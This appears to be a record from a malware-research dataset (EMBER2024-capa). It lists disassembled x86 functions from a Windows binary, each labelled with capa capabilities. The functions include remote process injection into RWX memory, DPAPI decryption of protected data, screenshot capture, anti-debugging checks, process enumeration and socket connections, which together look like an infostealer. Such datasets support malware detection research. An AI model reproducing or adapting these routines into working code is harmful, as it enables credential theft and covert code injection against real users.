joyce8/EMBER2024-capa huggingface dataset:
Function at 0x411010
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x5496bf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
push esi
mov esi, ecx
push 0
mov dword [ebp - 0x10], esi
call fcn.0050bdfd
mov dword [ebp - 4], 0
mov dword [esi + 4], 0
mov byte [esi + 8], 0
mov byte [ebp - 4], 1
mov dword [esi + 0xc], 0
mov byte [esi + 0x10], 0
mov byte [ebp - 4], 2
xor eax, eax
mov dword [esi + 0x14], 0
mov word [esi + 0x18], ax
mov byte [ebp - 4], 3
mov dword [esi + 0x1c], eax
mov word [esi + 0x20], ax
mov byte [ebp - 4], 4
mov dword [esi + 0x24], eax
mov byte [esi + 0x28], al
mov byte [ebp - 4], 5
mov dword [esi + 0x2c], eax
mov byte [esi + 0x30], al
mov byte [ebp - 4], 6
mov eax, dword [ebp + 8]
test eax, eax
je 0x4110b6
push eax
push esi
call fcn.0050c13e
add esp, 8
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret 4
push str.bad_locale_name
call fcn.0050b6e2
int3
Function at 0x419c20
Capabilities:
Read file on windows

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54ad19
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x38
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x20], esi
mov dword [ebp - 4], 0
mov dword [ebp - 0x1c], 0
mov dword [ebp - 4], 1
xorps xmm0, xmm0
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
mov byte [esi], 0
mov dword [ebp - 0x1c], 1
mov dword [ebp - 0x18], 0x55449e7d
mov dword [ebp - 0x14], 0xd280d90
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x30], eax
mov dword [ebp - 0x2c], ecx
mov dword [ebp - 0x18], 0xaf4b4030
mov dword [ebp - 0x14], 0xbe0aaf25
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x28], eax
mov dword [ebp - 0x24], ecx
mov dword [ebp - 0x18], 0x5544fc0f
mov dword [ebp - 0x14], 0xd280d90
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
mov dword [ebp - 0x40], eax
mov dword [ebp - 0x18], 0xaf4b4030
mov dword [ebp - 0x3c], ecx
mov dword [ebp - 0x14], 0xbe0aaf25
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x14]
cmp dword [ebx + 0x1c], 0x10
movaps xmm1, xmmword [ebp - 0x30]
mov dword [ebp - 0x38], eax
lea eax, [ebx + 8]
cmovae eax, dword [ebx + 8]
mov dword [ebp - 0x34], ecx
lea ecx, [ebp - 0x30]
pxor xmm1, xmmword [ebp - 0x40]
push ecx
push eax
movaps xmmword [ebp - 0x30], xmm1
call fcn.00529560
mov edi, eax
add esp, 8
mov dword [ebp - 0x14], edi
test edi, edi
je 0x419d9d
push 2
push 0
push edi
call fcn.0052d33c
add esp, 0xc
push edi
call fcn.005290eb
add esp, 4
mov edi, eax
push 0
push 0
push dword [ebp - 0x14]
call fcn.0052d33c
mov ecx, dword [esi + 0x10]
add esp, 0xc
cmp edi, ecx
ja 0x419d6e
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x419d65
mov eax, dword [esi]
mov dword [esi + 0x10], edi
mov byte [eax + edi], 0
jmp 0x419d7c
mov eax, edi
sub eax, ecx
mov ecx, esi
push 0
push eax
call fcn.004b3450
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x419d86
mov eax, dword [esi]
push dword [ebp - 0x14]
push edi
push 1
push eax
call fcn.00531ddf
push dword [ebp - 0x14]
call fcn.0052cdee
add esp, 0x14
mov byte [ebp - 4], 0
lea ecx, [ebx + 8]
call fcn.0040fe60
mov ecx, dword [ebp - 0xc]
mov eax, esi
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret

Function at 0x41a270
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push ebp
mov ebp, esp
push ecx
test ecx, ecx
je 0x41a2b8
mov edx, ecx
push esi
lea esi, [edx + 1]
nop
mov al, byte [edx]
inc edx
test al, al
jne 0x41a280
sub edx, esi
pop esi
je 0x41a2b8
push ecx
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x41a2b2
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x41a2b2
cmp eax, 0x20
je 0x41a2b2
cmp eax, 0x45
je 0x41a2b2
cmp eax, 0x24
jne 0x41a2b8
mov al, 1
mov esp, ebp
pop ebp
ret
xor al, al
mov esp, ebp
pop ebp
ret
Function at 0x41aaf0
Capabilities:
Capture screenshot

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54ae9d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x70
push esi
push edi
push 0
lea eax, [ebp - 0x50]
mov dword [ebp - 0x24], ecx
push eax
lea eax, [ebp - 0x30]
mov dword [ebp - 0x20], 0x64
push eax
mov dword [ebp - 0x50], 1
mov dword [ebp - 0x4c], 0
mov dword [ebp - 0x48], 0
mov dword [ebp - 0x44], 0
call dword [sym.imp.gdiplus.dll_GdiplusStartup]
test eax, eax
jne 0x41ac99
mov esi, dword [sym.imp.USER32.dll_GetSystemMetrics]
push 1
call esi
push 0
mov dword [ebp - 0x14], eax
call esi
push 0
mov dword [ebp - 0x18], eax
call dword [sym.imp.USER32.dll_GetDC]
mov esi, eax
mov dword [ebp - 0x28], esi
test esi, esi
je 0x41ac90
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleDC]
mov edi, eax
mov dword [ebp - 0x2c], edi
test edi, edi
je 0x41ac87
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push esi
call dword [sym.imp.GDI32.dll_CreateCompatibleBitmap]
mov dword [ebp - 0x1c], eax
test eax, eax
je 0x41ac80
push eax
push edi
call dword [sym.imp.GDI32.dll_SelectObject]
push 0xcc0020
push 0
push 0
push esi
push dword [ebp - 0x14]
push dword [ebp - 0x18]
push 0
push 0
push edi
call dword [sym.imp.GDI32.dll_BitBlt]
mov dword [ebp - 0x40], vtable.Gdiplus::Image.0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x18]
push eax
push 0
push dword [ebp - 0x1c]
mov dword [ebp - 0x40], 0x578ea8
mov dword [ebp - 0x18], 0
call dword [sym.imp.gdiplus.dll_GdipCreateBitmapFromHBITMAP]
mov esi, eax
mov dword [ebp - 0x38], esi
mov edi, dword [ebp - 0x18]
mov dword [ebp - 0x3c], edi
mov dword [ebp - 4], 1
lea edx, [ebp - 0x60]
call fcn.0041aa10
movups xmm0, xmmword [0x55db2c]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x80], 1
mov dword [ebp - 0x64], eax
lea eax, [ebp - 0x80]
push eax
lea eax, [ebp - 0x60]
mov dword [ebp - 0x68], 4
push eax
push dword [ebp - 0x24]
movups xmmword [ebp - 0x7c], xmm0
push edi
mov dword [ebp - 0x6c], 1
call dword [sym.imp.gdiplus.dll_GdipSaveImageToFile]
push dword [ebp - 0x1c]
test eax, eax
cmovne esi, eax
mov dword [ebp - 0x38], esi
call dword [sym.imp.GDI32.dll_DeleteObject]
mov dword [ebp - 4], 0xffffffff
push edi
mov dword [ebp - 0x40], vtable.Gdiplus::Image.0
call dword [sym.imp.gdiplus.dll_GdipDisposeImage]
mov esi, dword [ebp - 0x28]
mov edi, dword [ebp - 0x2c]
push edi
call dword [sym.imp.GDI32.dll_DeleteObject]
push esi
push 0
call dword [sym.imp.USER32.dll_ReleaseDC]
push dword [ebp - 0x30]
call dword [sym.imp.gdiplus.dll_GdiplusShutdown]
mov ecx, dword [ebp - 0xc]
xor al, al
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x428f20
Capabilities:
Check for peb beingdebugged flag

Disassembly:
push ebp
mov ebp, esp
push ecx
mov eax, dword fs:[0x30]
push ebx
mov al, byte [eax + 2]
test al, al
setne bl
call dword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
test eax, eax
movzx ecx, bl
mov edx, 1
cmovne ecx, edx
pushfd
pop eax
mov dword [ebp - 4], eax
test dword [ebp - 4], 0x100
movzx eax, cl
cmovne eax, edx
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x42bf70
Capabilities:
Check if file exists
Create directory
Get file attributes

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
mov eax, dword fs:[0]
push 0xffffffffffffffff
push 0x54c98b
push eax
mov dword fs:[0], esp
mov eax, dword [0x593580]
push ebx
sub esp, 0x120
push esi
push edi
mov edi, ecx
test al, 1
jne 0x42c002
or eax, 1
mov dword [0x593580], eax
mov dword [ebp - 4], 0
xorps xmm0, xmm0
movups xmmword [0x59358c], xmm0
mov eax, 0x2f5c
mov dword [0x59359c], 2
push 0x55b1f0
mov dword [0x5935a0], 0xf
mov word [0x59358c], ax
mov byte [0x59358e], 0
call fcn.0050d49c
add esp, 4
mov dword [ebp - 4], 0xffffffff
cmp dword [edi + 0x14], 0x10
mov eax, edi
jb 0x42c00c
mov eax, dword [edi]
push eax
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x42c11f
cmp dword [0x5935a0], 0x10
mov esi, 0x59358c
mov ecx, dword [edi + 0x10]
cmovae esi, dword [0x59358c]
cmp dword [edi + 0x14], 0x10
mov dword [ebp - 0x14], edi
jb 0x42c040
mov eax, dword [edi]
mov dword [ebp - 0x14], eax
cmp dword [0x59359c], 0
je 0x42c0f6
test ecx, ecx
je 0x42c0f6
push 0x100
lea eax, [ebp - 0x130]
push 0
push eax
call fcn.005256f0
mov ecx, dword [0x59359c]
add esp, 0xc
add ecx, esi
cmp esi, ecx
je 0x42c090
nop word [eax + eax]
movzx eax, byte [esi]
inc esi
mov byte [ebp + eax - 0x130], 1
cmp esi, ecx
jne 0x42c080
mov eax, dword [edi + 0x10]
or ecx, 0xffffffff
mov edx, dword [ebp - 0x14]
dec eax
cmp eax, ecx
cmovb ecx, eax
movzx eax, byte [ecx + edx]
add ecx, edx
mov al, byte [ebp + eax - 0x130]
test al, al
jne 0x42c0c4
cmp ecx, edx
je 0x42c0f6
movzx eax, byte [ecx - 1]
dec ecx
mov al, byte [ebp + eax - 0x130]
test al, al
je 0x42c0b0
sub ecx, edx
cmp ecx, 0xffffffff
je 0x42c0f6
push ecx
push 0
lea eax, [ebp - 0x2c]
mov ecx, edi
push eax
call fcn.004b08e0
mov dword [ebp - 4], 1
mov ecx, eax
call fcn.0042bf70
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x2c]
call fcn.0040fe60
cmp dword [edi + 0x14], 0x10
jb 0x42c0fe
mov edi, dword [edi]
push 0
push edi
call dword [sym.imp.KERNEL32.dll_CreateDirectoryA]
test eax, eax
setne al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
Function at 0x42c1f0
Capabilities:
Create process on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x5c
push esi
push 0x44
lea eax, [ebp - 0x58]
mov esi, ecx
push 0
push eax
call fcn.005256f0
add esp, 0xc
mov dword [ebp - 0x58], 0x44
xor eax, eax
xorps xmm0, xmm0
mov word [ebp - 0x28], ax
lea eax, [ebp - 0x10]
movups xmmword [ebp - 0x10], xmm0
push eax
lea eax, [ebp - 0x58]
push eax
push 0
push 0
push 0x8000000
push 0
push 0
push 0
push esi
push 0
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x42c24c
push 0xffffffffffffffff
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x431680
Capabilities:
Allocate or change rwx memory
Create thread
Inject thread
Spawn thread to rwx shellcode

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54cf4d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x228
push ebx
push esi
mov esi, ecx
push edi
mov dword [ebp - 0x10], esi
mov dword [ebp - 4], 0
lea ebx, [ebp + 8]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0x40
cmovae ebx, dword [ebp + 8]
cmovae ecx, dword [ebp + 8]
mov dword [ebp - 0x18], ebx
push 0x3000
mov ebx, dword [ebx + 0x3c]
add ebx, ecx
push dword [ebx + 0x50]
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
cmp dword [ebp + 0x1c], 0x10
lea ecx, [ebp + 8]
push 0
push dword [ebx + 0x54]
cmovae ecx, dword [ebp + 8]
push ecx
push eax
push esi
mov dword [ebp - 0x14], eax
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
xor eax, eax
xor edi, edi
cmp ax, word [ebx + 6]
jae 0x43173a
lea esi, [ebx + 0x10c]
cmp dword [ebp + 0x1c], 0x10
lea eax, [ebp + 8]
mov ecx, dword [esi]
cmovae eax, dword [ebp + 8]
push 0
push dword [esi - 4]
add ecx, eax
mov eax, dword [esi - 8]
add eax, dword [ebp - 0x14]
push ecx
push eax
push dword [ebp - 0x10]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx eax, word [ebx + 6]
lea esi, [esi + 0x28]
inc edi
cmp edi, eax
jl 0x431706
mov esi, dword [ebp - 0x10]
push 0x40
push 0x3000
push 0x1000
push 0
push esi
call dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov ecx, dword [ebp - 0x18]
mov edi, eax
mov eax, dword [ebp - 0x14]
mov dword [ebp - 0x230], eax
push 0x200
mov ecx, dword [ecx + 0x3c]
add ecx, eax
mov dword [ebp - 0x22c], ecx
mov ecx, dword [ebx + 0xa0]
add ecx, eax
mov dword [ebp - 0x228], ecx
mov ecx, dword [ebx + 0x80]
add ecx, eax
mov eax, dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov dword [ebp - 0x220], eax
mov eax, dword [sym.imp.KERNEL32.dll_GetProcAddress]
mov dword [ebp - 0x21c], eax
lea eax, [ebp - 0x218]
push 0
push eax
mov dword [ebp - 0x224], ecx
call fcn.005256f0
add esp, 0xc
mov ecx, 0x590bbc
cmp dword [0x590bd0], 0x10
mov eax, 0x590bec
cmovae ecx, dword [0x590bbc]
cmp dword [0x590c00], 0x10
push ecx
cmovae eax, dword [0x590bec]
push eax
lea eax, [ebp - 0x218]
push str._s_s
push eax
call fcn.004104e0
add esp, 0x10
lea eax, [ebp - 0x230]
push 0
push 0x218
push eax
push edi
push esi
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ebx, dword [ebp - 0x10]
lea esi, [edi + 0x218]
push 0
mov eax, fcn.00431670
sub eax, 0x431560
push eax
push 0x431560
push esi
push ebx
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
push 0
push 0
push edi
push esi
push 0
push 0
push ebx
call dword [sym.imp.KERNEL32.dll_CreateRemoteThread]
push 0xffffffffffffffff
push eax
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
push 0x8000
push 0
push edi
push ebx
call dword [sym.imp.KERNEL32.dll_VirtualFreeEx]
mov dword [ebp - 4], 0xffffffff
lea ecx, [ebp + 8]
call fcn.0040fe60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4372f0
Capabilities:
Connect socket
Initialize winsock library
Resolve dns

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x1b4
push ebx
push esi
push edi
lea eax, [esp + 0x30]
mov dword [esp + 0xc], 0
push eax
push 0x202
mov esi, edx
mov ebx, ecx
or edi, 0xffffffff
call dword [sym.imp.WS2_32.dll_WSAStartup]
test eax, eax
jne 0x4373b3
mov dword [esp + 0x10], eax
xorps xmm0, xmm0
mov dword [esp + 0x14], eax
lea eax, [esp + 0xc]
push eax
lea eax, [esp + 0x14]
movlpd qword [esp + 0x24], xmm0
push eax
push esi
push ebx
movlpd qword [esp + 0x38], xmm0
mov dword [esp + 0x28], 1
mov dword [esp + 0x2c], 6
call dword [sym.imp.WS2_32.dll_getaddrinfo]
test eax, eax
jne 0x4373ad
mov esi, dword [esp + 0xc]
test esi, esi
je 0x4373c1
mov ebx, dword [sym.imp.WS2_32.dll_closesocket]
push dword [esi + 0xc]
push dword [esi + 8]
push dword [esi + 4]
call dword [sym.imp.WS2_32.dll_socket]
mov edi, eax
cmp edi, 0xffffffff
je 0x4373ad
push dword [esi + 0x10]
push dword [esi + 0x18]
push edi
call dword [sym.imp.WS2_32.dll_connect]
cmp eax, 0xffffffff
jne 0x4373bd
push edi
call ebx
mov esi, dword [esi + 0x1c]
test esi, esi
jne 0x437371
push dword [esp + 0xc]
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
call dword [sym.imp.WS2_32.dll_WSACleanup]
or eax, 0xffffffff
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov esi, dword [esp + 0xc]
push esi
call dword [sym.imp.WS2_32.dll_freeaddrinfo]
cmp edi, 0xffffffff
je 0x4373ad
mov eax, edi
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x439290
Capabilities:
Encrypt data using dpapi

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x54da9d
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x30
push esi
push edi
mov edi, dword [sym.imp.CRYPT32.dll_CryptUnprotectData]
mov esi, 0x80
mov dword [ebp - 0x14], edx
mov dword [ebp - 0x20], ecx
lea eax, [ebp - 0x1c]
mov dword [ebp - 0x24], esi
push eax
push 0
push 0
push 0
push 0
push 0
lea eax, [ebp - 0x24]
push eax
call edi
test eax, eax
jne 0x4392f8
add esi, 0x10
cmp esi, 0x800
jbe 0x4392d2
cmp esi, 0x800
jae 0x43931c
push 0x800
call fcn.0053212c
mov edi, eax
add esp, 4
test edi, edi
jne 0x439331
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
xor al, al
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x800
push 0
push edi
call fcn.005256f0
mov esi, dword [ebp - 0x1c]
mov ecx, 0x7ff
cmp esi, 0x800
mov eax, esi
cmova eax, ecx
push eax
push dword [ebp - 0x18]
push edi
call fcn.00524fb0
add esp, 0x18
mov dword [ebp - 0x2c], 0
xorps xmm0, xmm0
mov dword [ebp - 0x28], 0
lea ecx, [ebp - 0x3c]
movups xmmword [ebp - 0x3c], xmm0
push esi
push edi
call fcn.004100e0
mov dword [ebp - 4], 0
lea eax, [ebp - 0x3c]
mov esi, dword [ebp - 0x14]
cmp esi, eax
je 0x4393bb
mov ecx, esi
call fcn.0040fe60
movups xmm0, xmmword [ebp - 0x3c]
mov eax, 0xf
movups xmmword [esi], xmm0
movq xmm0, qword [ebp - 0x2c]
mov dword [ebp - 0x28], eax
movq qword [esi + 0x10], xmm0
mov dword [ebp - 0x2c], 0
mov byte [ebp - 0x3c], 0
jmp 0x4393be
mov eax, dword [ebp - 0x28]
mov dword [ebp - 4], 0xffffffff
cmp eax, 0x10
jb 0x4393f4
mov edx, dword [ebp - 0x3c]
lea ecx, [eax + 1]
mov eax, edx
cmp ecx, 0x1000
jb 0x4393ea
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x43942d
push ecx
push edx
call fcn.0050d4b1
add esp, 8
push edi
mov dword [ebp - 0x2c], 0
mov dword [ebp - 0x28], 0xf
mov byte [ebp - 0x3c], 0
call fcn.005319d6
add esp, 4
push dword [ebp - 0x18]
call dword [sym.imp.KERNEL32.dll_LocalFree]
mov ecx, dword [ebp - 0xc]
mov al, 1
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.005289b0
int3
Function at 0x46ade0
Capabilities:
Enumerate processes

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x12c
push ebx
push esi
push edi
xor ebx, ebx
mov esi, ecx
push ebx
push 2
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov edi, eax
cmp edi, 0xffffffff
je 0x46ae88
lea eax, [ebp - 0x128]
mov dword [ebp - pe_nt_image_headers32], 0x128
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32First]
test eax, eax
je 0x46ae81
cmp dword [esi + 0x14], 0x10
mov eax, esi
jb 0x46ae2a
mov eax, dword [esi]
lea ecx, [ebp - 0x104]
mov dl, byte [ecx]
cmp dl, byte [eax]
jne 0x46ae50
test dl, dl
je 0x46ae4c
mov dl, byte [ecx + 1]
cmp dl, byte [eax + 1]
jne 0x46ae50
add ecx, 2
add eax, 2
test dl, dl
jne 0x46ae30
xor eax, eax
jmp 0x46ae55
sbb eax, eax
or eax, 1
test eax, eax
je 0x46ae7b
lea eax, [ebp - 0x128]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_Process32Next]
test eax, eax
jne 0x46ae20
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, ebx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
mov ebx, dword [ebp - 0x120]
push edi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
pop edi
pop esi
mov eax, ebx
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x4b2140
Capabilities:
Access peb ldr_data
Get ntdll base address

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x557de0
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov dword [ebp - 0x10], ecx
mov dword [ecx], 0
mov byte [ecx + 4], 0
mov dword [ecx + 8], 0
mov dword [ecx + 0xc], 0
mov dword [ecx + 0x10], 0
mov dword [ebp - 4], 0
mov dword [ecx + 0x14], 0
mov dword [ecx + 0x18], 0
mov byte [ecx + 0x1c], 0
mov dword [ecx + 0x20], 0
mov dword [ecx + 0x24], 0
mov byte [ecx + 0x28], 0
mov dword [ecx + 0x2c], 0
mov dword [ecx + 0x30], 0
mov byte [ecx + 0x34], 0
mov dword [ebp - 4], 0xffffffff
mov eax, ecx
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret

Function at 0x4b2d30
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x557edd
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 8
push ebx
push esi
mov eax, ecx
push edi
mov dword [ebp - 0x10], eax
call fcn.004b42a0
mov dword [ebp - 4], 0
mov eax, dword [ebp - 0x10]
lea ecx, [eax + 0x18]
lea edx, [eax + 0x24]
lea esi, [eax + 8]
mov dword [eax + 0x2c], edx
lea ebx, [eax + 4]
mov dword [eax + 0xc], ebx
lea edi, [eax + 0x14]
mov dword [eax], vtable.std::basic_filebuf_char__struct_std::char_traits_char__.0
mov byte [eax + 0x48], 0
mov byte [eax + 0x3d], 0
mov dword [eax + 0x10], esi
mov dword [eax + 0x1c], edi
mov dword [eax + 0x20], ecx
add eax, 0x28
mov dword [ebp - 0x14], ebx
mov ebx, dword [ebp - 0x10]
mov dword [ebx + 0x30], eax
mov ebx, dword [ebp - 0x14]
mov dword [esi], 0
mov dword [ecx], 0
mov dword [eax], 0
mov dword [ebx], 0
mov dword [edi], 0
mov dword [edx], 0
mov edx, dword [ebp - 0x10]
mov dword [edx + 0x4c], 0
mov eax, dword [0x593530]
mov ecx, dword [0x593534]
mov dword [edx + 0x40], eax
mov dword [edx + 0x44], ecx
mov dword [edx + 0x38], 0
mov dword [ebp - 4], 0xffffffff
mov eax, edx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
pop ebx
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4b2eb0
Capabilities:
Access peb ldr_data

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x557f0e
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0x14
mov dword [ebp - 0x14], 0
push ebx
mov ebx, ecx
push esi
push edi
push 0
mov eax, dword [ebx]
push 0
mov dword [ebp - 0x18], ebx
mov eax, dword [eax + 4]
mov dword [ebx + eax], vtable.std::basic_istream_char__struct_std::char_traits_char__.0
mov eax, dword [ebx]
mov edx, dword [eax + 4]
lea eax, [edx - 0x18]
mov dword [edx + ebx - 4], eax
mov eax, dword [ebx]
mov dword [ebx + 8], 0
mov dword [ebx + 0xc], 0
mov edi, dword [eax + 4]
add edi, ebx
mov ecx, edi
mov dword [edi + 0x30], 0
mov dword [edi + 8], 0
mov dword [edi + 0x10], 0
mov dword [edi + 0x14], 0x201
mov dword [edi + 0x18], 6
mov dword [edi + 0x1c], 0
mov dword [edi + 0x20], 0
mov dword [edi + 0x24], 0
mov dword [edi + 0x28], 0
mov dword [edi + 0x2c], 0
call fcn.004118d0
push 8
call fcn.0050d230
add esp, 4
mov esi, eax
push 1
call fcn.0050c03e
mov dword [esi + 4], eax
add esp, 4
mov eax, dword [ebp + 8]
mov dword [edi + 0x30], esi
mov dword [edi + 0x38], eax
mov dword [edi + 0x3c], 0
mov dword [ebp - 4], 2
mov eax, dword [edi + 0x30]
mov esi, dword [eax + 4]
mov ecx, esi
mov dword [ebp - 0x1c], esi
mov eax, dword [esi]
call dword [eax + 4]
lea eax, [ebp - 0x20]
mov dword [ebp - 0x14], 2
push eax
call fcn.004b4600
add esp, 4
mov ecx, dword [eax]
push 0x20
mov edx, dword [ecx + 0x20]
mov ecx, eax
call edx
mov edx, 2
mov byte [ebp + 0xb], al
mov dword [ebp - 0x14], edx
and edx, 0xfffffffd
mov dword [ebp - 0x14], edx
mov byte [ebp - 4], 1
mov ecx, esi
mov edx, dword [esi]
call dword [edx + 8]
test eax, eax
je 0x4b2fe0
mov ecx, dword [eax]
push 1
mov edx, dword [ecx]
mov ecx, eax
call edx
cmp dword [edi + 0x38], 0
mov al, byte [ebp + 0xb]
mov byte [edi + 0x40], al
jne 0x4b2ffc
mov eax, dword [edi + 0xc]
mov ecx, edi
push 0
or eax, 4
push eax
call fcn.004118d0
mov dword [ebp - 4], 0xffffffff
mov eax, ebx
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret 0xc

Function at 0x4c3700
Capabilities:
Get process heap flags

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x559e6b
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
sub esp, 0xc
push esi
mov esi, dword [ebp + 8]
push edi
mov edi, edx
push esi
mov ecx, edi
mov dword [ebp - 0x10], edi
mov dword [ebp - 0x14], edi
call fcn.004b0ec0
mov dword [ebp - 4], 2
lea eax, [esi + 0x18]
lea ecx, [edi + 0x18]
push eax
mov dword [ebp + 8], ecx
call fcn.004b0ec0
mov dword [ebp - 4], 5
lea eax, [esi + 0x30]
lea ecx, [edi + 0x30]
push eax
mov dword [ebp - 0x18], ecx
call fcn.004b0ec0
mov dword [ebp - 4], 0xffffffff
mov ecx, dword [ebp - 0xc]
pop edi
pop esi
mov dword fs:[0], ecx
mov esp, ebp
pop ebp
ret
Function at 0x4ceca0
Capabilities:
Reference http user-agent string

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 4], 0
mov edi, edx
mov dword [ebp - 8], 0
push eax
lea edx, [ebp - 8]
mov esi, ecx
call fcn.004ceb90
add esp, 4
test eax, eax
je 0x4cecd5
xor al, al
pop edi
pop esi
mov esp, ebp
pop ebp
ret
mov edx, dword [ebp - 8]
mov ecx, esi
push 0x7530
push str.Mozilla_5.0__Windows_NT_10.0__Win64__x64__AppleWebKit_537.36__KHTML__like_Gecko__Chrome_117.0.0.0_Safari_537.36_Edg_117.0.2045.36
push edi
push dword [ebp + 8]
push dword [ebp - 4]
call fcn.004ce940
mov ecx, dword [ebp - 8]
add esp, 0x14
mov esi, eax
call fcn.004cec80
test esi, esi
pop edi
sete al
pop esi
mov esp, ebp
pop ebp
ret